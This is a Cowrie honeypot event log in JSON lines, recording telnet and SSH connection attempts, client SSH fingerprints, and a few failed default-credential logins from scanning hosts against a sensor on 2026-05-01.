{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58220,"dst_ip":"10.17.0.5","dst_port":23,"session":"b580856d287a","protocol":"telnet","message":"New connection: 213.136.75.179:58220 (10.17.0.5:23) [session: b580856d287a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:56.016714Z"}
{"eventid":"cowrie.session.closed","duration":31.535738229751587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:56.208852Z","src_ip":"213.136.75.179","session":"ead230098947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"40edf9bfe651","protocol":"telnet","message":"New connection: 213.136.75.179:58222 (10.17.0.5:23) [session: 40edf9bfe651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:56.447378Z"}
{"eventid":"cowrie.session.closed","duration":31.4970760345459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:56.690763Z","src_ip":"213.136.75.179","session":"ef8348549dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58234,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a94207f31ac","protocol":"telnet","message":"New connection: 213.136.75.179:58234 (10.17.0.5:23) [session: 1a94207f31ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:56.724968Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58240,"dst_ip":"10.17.0.5","dst_port":23,"session":"062236fbbba4","protocol":"telnet","message":"New connection: 213.136.75.179:58240 (10.17.0.5:23) [session: 062236fbbba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:56.848841Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58242,"dst_ip":"10.17.0.5","dst_port":23,"session":"9657c05df414","protocol":"telnet","message":"New connection: 213.136.75.179:58242 (10.17.0.5:23) [session: 9657c05df414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:57.096913Z"}
{"eventid":"cowrie.session.closed","duration":34.16792058944702,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:57.569824Z","src_ip":"213.136.75.179","session":"a603234595f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.820608854293823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:57.574409Z","src_ip":"213.136.75.179","session":"77723984d5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36214,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a75e0f9d6af","protocol":"telnet","message":"New connection: 213.136.75.179:36214 (10.17.0.5:23) [session: 8a75e0f9d6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:57.868821Z"}
{"eventid":"cowrie.session.closed","duration":30.802638053894043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:58.322568Z","src_ip":"159.223.86.167","session":"bf6209f928e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89563775062561,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:58.804830Z","src_ip":"213.136.75.179","session":"726960995d4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.034106969833374,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:59.598608Z","src_ip":"213.136.75.179","session":"bd4b4f38bb0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36220,"dst_ip":"10.17.0.5","dst_port":23,"session":"6929fd055b58","protocol":"telnet","message":"New connection: 213.136.75.179:36220 (10.17.0.5:23) [session: 6929fd055b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:00.734833Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36226,"dst_ip":"10.17.0.5","dst_port":23,"session":"fafc104b1105","protocol":"telnet","message":"New connection: 213.136.75.179:36226 (10.17.0.5:23) [session: fafc104b1105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:00.850136Z"}
{"eventid":"cowrie.session.closed","duration":30.797656059265137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:01.060202Z","src_ip":"5.189.178.126","session":"c48d029736e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47422,"dst_ip":"10.17.0.5","dst_port":22,"session":"33a7e9f5bd58","protocol":"ssh","message":"New connection: 176.65.139.103:47422 (10.17.0.5:22) [session: 33a7e9f5bd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:01.409947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:01.416659Z","src_ip":"176.65.139.103","session":"33a7e9f5bd58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:01.497167Z","src_ip":"176.65.139.103","session":"33a7e9f5bd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.579590559005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:01.797751Z","src_ip":"159.223.86.167","session":"af09940d771a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:01.818184Z","src_ip":"176.65.139.103","session":"33a7e9f5bd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63141632080078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:01.974653Z","src_ip":"213.136.75.179","session":"dcbe8684fefe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36234,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f076c5a33ae","protocol":"telnet","message":"New connection: 213.136.75.179:36234 (10.17.0.5:23) [session: 1f076c5a33ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:02.091581Z"}
{"eventid":"cowrie.session.closed","duration":33.34453463554382,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:02.148853Z","src_ip":"213.136.75.179","session":"36bc37e43335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47948,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d8eb0805d1a","protocol":"telnet","message":"New connection: 23.254.167.244:47948 (159.203.135.109:23) [session: 2d8eb0805d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:02.450624Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:02.992120Z","src_ip":"176.65.139.103","session":"33a7e9f5bd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96309804916382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:04.559829Z","src_ip":"213.136.75.179","session":"7ba754955075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36244,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfc4f18d9b6","protocol":"telnet","message":"New connection: 213.136.75.179:36244 (10.17.0.5:23) [session: 2dfc4f18d9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:05.356070Z"}
{"eventid":"cowrie.session.closed","duration":32.2517614364624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:05.704230Z","src_ip":"213.136.75.179","session":"be231ef9adce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913991928100586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:06.651302Z","src_ip":"213.136.75.179","session":"73a46d1f84c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":40130,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d3d229f33d","protocol":"telnet","message":"New connection: 5.189.178.126:40130 (10.17.0.5:23) [session: 67d3d229f33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:06.972111Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50280,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb93c68fc05","protocol":"telnet","message":"New connection: 159.223.86.167:50280 (159.203.135.109:23) [session: 4eb93c68fc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:07.016808Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.220.31.6","src_port":56588,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5e87f06ec1","protocol":"telnet","message":"New connection: 37.220.31.6:56588 (10.17.0.5:23) [session: 0b5e87f06ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:08.507604Z"}
{"eventid":"cowrie.session.closed","duration":30.874164581298828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:08.643879Z","src_ip":"213.136.75.179","session":"1c5fb20bc71a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50460,"dst_ip":"10.17.0.5","dst_port":22,"session":"05e7812e9097","protocol":"ssh","message":"New connection: 176.65.139.103:50460 (10.17.0.5:22) [session: 05e7812e9097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:08.733357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:08.737770Z","src_ip":"176.65.139.103","session":"05e7812e9097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39524960517883,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:08.769518Z","src_ip":"213.136.75.179","session":"ce408489db44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52176070213318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:08.807175Z","src_ip":"213.136.75.179","session":"a9a197aec627","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:08.816510Z","src_ip":"176.65.139.103","session":"05e7812e9097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:09.165873Z","src_ip":"176.65.139.103","session":"05e7812e9097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.217857360839844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:09.866363Z","src_ip":"213.136.75.179","session":"493f46e6175e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37365674972534,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:10.005384Z","src_ip":"23.254.167.244","session":"22188918e456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:10.261705Z","src_ip":"176.65.139.103","session":"05e7812e9097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.245.84.135","src_port":27682,"dst_ip":"159.203.135.109","dst_port":23,"session":"72a7ee0bffb9","protocol":"telnet","message":"New connection: 170.245.84.135:27682 (159.203.135.109:23) [session: 72a7ee0bffb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:10.488235Z"}
{"eventid":"cowrie.session.closed","duration":31.543428897857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:10.786841Z","src_ip":"213.136.75.179","session":"e8236c7b3c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59044,"dst_ip":"159.203.135.109","dst_port":23,"session":"415a273be092","protocol":"telnet","message":"New connection: 23.254.167.244:59044 (159.203.135.109:23) [session: 415a273be092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:10.826427Z"}
{"eventid":"cowrie.session.closed","duration":32.888877630233765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:12.190976Z","src_ip":"213.136.75.179","session":"e74f5150d034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03483533859253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:12.290726Z","src_ip":"159.223.86.167","session":"4c2b41cac5f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.934246301651,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:12.326788Z","src_ip":"213.136.75.179","session":"8166df03c9de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.104217767715454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:12.826548Z","src_ip":"213.136.75.179","session":"899a2d0ea9d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21003746986389,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:13.283545Z","src_ip":"213.136.75.179","session":"323b9abea1d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40560340881348,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:13.484106Z","src_ip":"213.136.75.179","session":"aef3828beda9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61739253997803,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:13.650155Z","src_ip":"213.136.75.179","session":"1f3dbf96f3e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15466570854187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:14.083868Z","src_ip":"5.189.178.126","session":"acabde528418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42928,"dst_ip":"10.17.0.5","dst_port":23,"session":"496781a926e2","protocol":"telnet","message":"New connection: 213.136.75.179:42928 (10.17.0.5:23) [session: 496781a926e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:14.745511Z"}
{"eventid":"cowrie.session.closed","duration":41.24938225746155,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:15.779134Z","src_ip":"23.254.167.244","session":"b49429b7b660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060802221298218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:15.804628Z","src_ip":"213.136.75.179","session":"dcd43701e5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42940,"dst_ip":"10.17.0.5","dst_port":23,"session":"2550060c9d2d","protocol":"telnet","message":"New connection: 213.136.75.179:42940 (10.17.0.5:23) [session: 2550060c9d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:16.064085Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59640,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1a455b84c30","protocol":"telnet","message":"New connection: 159.223.86.167:59640 (159.203.135.109:23) [session: c1a455b84c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:16.082501Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51998,"dst_ip":"10.17.0.5","dst_port":22,"session":"39dbfb8100a2","protocol":"ssh","message":"New connection: 176.65.139.103:51998 (10.17.0.5:22) [session: 39dbfb8100a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:16.120701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:16.126296Z","src_ip":"176.65.139.103","session":"39dbfb8100a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:16.209206Z","src_ip":"176.65.139.103","session":"39dbfb8100a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":45918,"dst_ip":"10.17.0.5","dst_port":23,"session":"814231872ac7","protocol":"telnet","message":"New connection: 155.117.234.131:45918 (10.17.0.5:23) [session: 814231872ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:16.397617Z"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:16.628611Z","src_ip":"176.65.139.103","session":"39dbfb8100a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.88044548034668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:17.436972Z","src_ip":"213.136.75.179","session":"dde59db3fa00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.352197408676147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:17.697899Z","src_ip":"213.136.75.179","session":"6697dadafcb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:17.718904Z","src_ip":"176.65.139.103","session":"39dbfb8100a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42034,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c3c2359652","protocol":"telnet","message":"New connection: 213.136.75.179:42034 (10.17.0.5:23) [session: 88c3c2359652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:17.816871Z"}
{"eventid":"cowrie.session.closed","duration":30.627984285354614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:19.064465Z","src_ip":"5.189.178.126","session":"d67823bff6ad","protocol":"telnet"}
